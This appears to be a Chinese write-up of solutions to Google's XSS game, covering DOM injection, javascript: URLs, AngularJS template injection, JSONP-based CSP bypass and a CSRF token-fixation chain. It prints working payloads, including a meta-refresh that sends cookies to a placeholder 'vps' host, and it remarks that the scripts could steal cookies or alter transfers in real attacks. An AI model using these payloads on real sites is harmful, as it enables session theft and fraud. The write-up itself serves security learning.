Open Aaisui opened 3 years ago
结果第六题根本不是啊,这几把说你嘛呢,折腾来折腾去是Angular1.2自己的问题,如果出现?test的话会被拼接到 里面去 那么用HTML实体编码+urlencode即可
http://www.xssgame.com/f/rWKWwJGnAeyi/?test=%26%23x7b%3B%26%23x7b%3Balert(1)}}
这题才是真CSP,能够找到这里有配置,参考之前写的#4 XSSCSP即可
查看源码:
/**
* Ask server side what to display.
*/
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}
/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}
main();
如果说带cookie出去的话可以直接:
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=<meta http-equiv="refresh" content="1;url=http://vps/x.php?c=mi1k7ea" >
但是这里要求是弹窗,自己看了一眼WP,知道了新的操作JSONP注入,详细了解可以看这篇文章:JSONP注入。
回到题目,题目中发起请求的过程我们用chrome浏览器看:
可以看到这里发起了一次jsonp请求绕过了CSP的限制,并且访问了static文件夹下的level7.js,而7.js会默认调用main函数。
但JSONP是允许我们访问其他函数的,只需要jsonp?functionName ,并且传入的代码会被当做JS代码执行,这里相当于是执行callback(alert(1)) 所以这里传入?menu=即可。
源码:
/**
* Read cookie.
* @param {string} name - Name of the cookie
* @returns {string} Cookie value
*/
function readCookie(name) {
var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
return match && match[1];
}
var username = readCookie('name');
if (username) {
document.write('<h1>Welcome ' + username + '!</h1>');
}
document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token');
});
通过初步的fuzz和测试我们可以知道如下几点:
限制:
还有一个fuzz就是当我们转账的时候如果输入的数字不对的话会显示出来值 并且没有CSP的限制
一个CSRF的攻击流程应该是让一个已登录的用户点击我们的链接去操作转账
那么我们现在的问题就是如何控制csrf_token,回去仔细看源码,再set路由下如果我们设置name=csrf_token&value=123,那么返回的cookies头就是csrf_token=123,此时再通过set路由下的redirect,跳转到转账路由下就可以完成一次CSRF了,最终payload:
/set?name=csrf_token&value=test&redirect=transfer?name=aaa&amount=%3Cscript%3Ealert(1)%3C/script%3E&csrf_token=test
那么在实战当中,我们就可以将amount当中的script修改为弹出cookie当攻击者手里,或者直接修改name为攻击者的name,amout设置为我们想要修改的金额了
关于我在XSS又卷土重来这回事 说真的,自己真的几乎完全不会XSS,打比赛就只能放弃,这几天看见个谷歌的平台感觉挺好玩的,所以就搭起来玩了。
比赛平台
前两题太简单了没什么好讲的
第三题
打开了是一个很可爱的🐱🐱图 但是很显然这里能够让我们通过自定义URL完成一些操作,看他的代码 发现是直接将我们的输入进行一次拼接然后倒入变成dom元素,这种情况下就可以直接用注释符注释掉后面的了。 payload: #1'%20onerror="alert(1)">
第四题
这个题目抓包的话可以看到代码:
跟在window.location后面是可以跟js伪协议来执行js代码的,这样的话就直接javascript:alert(1) 就好了,这里再记录一下什么东西可以执行js伪协议
常见的属性有:
第五题
这题就要慢慢看代码了 这里试了各种标签都没被解析,感觉就像在pre当中写..但是看了一下代码
慢慢的解读代码,意思就是会将我们输入的get传参进行分组,如果满足?a=x的形式的话就会干两个事情
那么这里我们可以操作的dom元素有两个
但是实际上直接写js代码没什么用啊,于是乎又看到一篇文章:利用基于AngularJS的XSS实现提权根据文中提到的方式:{{alert(1)}},就利用成功了
当然实际上题目中这里也给出了模板的
第六题
这里说是CSP伪造,翻了下有一篇好文章:CSP策略及绕过技巧小结
4 关于XSS的CSP绕过
知识点有点多所以我决定新开一篇文章来写